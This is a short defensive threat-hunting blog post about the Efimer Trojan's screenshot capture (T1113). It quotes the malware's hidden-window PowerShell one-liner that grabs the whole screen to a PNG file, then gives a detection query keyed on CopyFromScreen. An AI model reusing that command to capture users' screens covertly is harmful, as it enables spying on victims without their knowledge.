222. That's How Adversaries Abuse PowerShell to Take Screenshots Quietly

Hello everyone!

We haven't talked about abusing PowerShell for some time. But let's do it again today as I spotted an interesting example. And we'll look at the following technique - Screen Capture (T1113).

Let's look at Efimer Trojan described in this report. The malware uses the following PowerShell command to capture screenshots:

powershell.exe -NoProfile -WindowStyle Hidden -Command "$scale = 1.25; Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $sw = [System.Windows.Forms.SystemInformation]::VirtualScreen.Width; $sh = [System.Windows.Forms.SystemInformation]::VirtualScreen.Height; $w = [int]($sw * $scale); $h = [int]($sh * $scale); $bmp = New-Object Drawing.Bitmap $w, $h; $g = [Drawing.Graphics]::FromImage($bmp); $g.ScaleTransform($scale, $scale); $g.CopyFromScreen(0, 0, 0, 0, $bmp.Size); $bmp.Save(\'' + path.replace(/\\/g, '\\\\') + '\', [Drawing.Imaging.ImageFormat]::Png); ' + '$g.Dispose(); $bmp.Dispose();"

For example, we can use CopyFromScreen method to build our hunting query:

event_type: "processcreatewin"

AND

proc_file_path: "powershell.exe"

AND

cmdline: "CopyFromScreen"

See you tomorrow!

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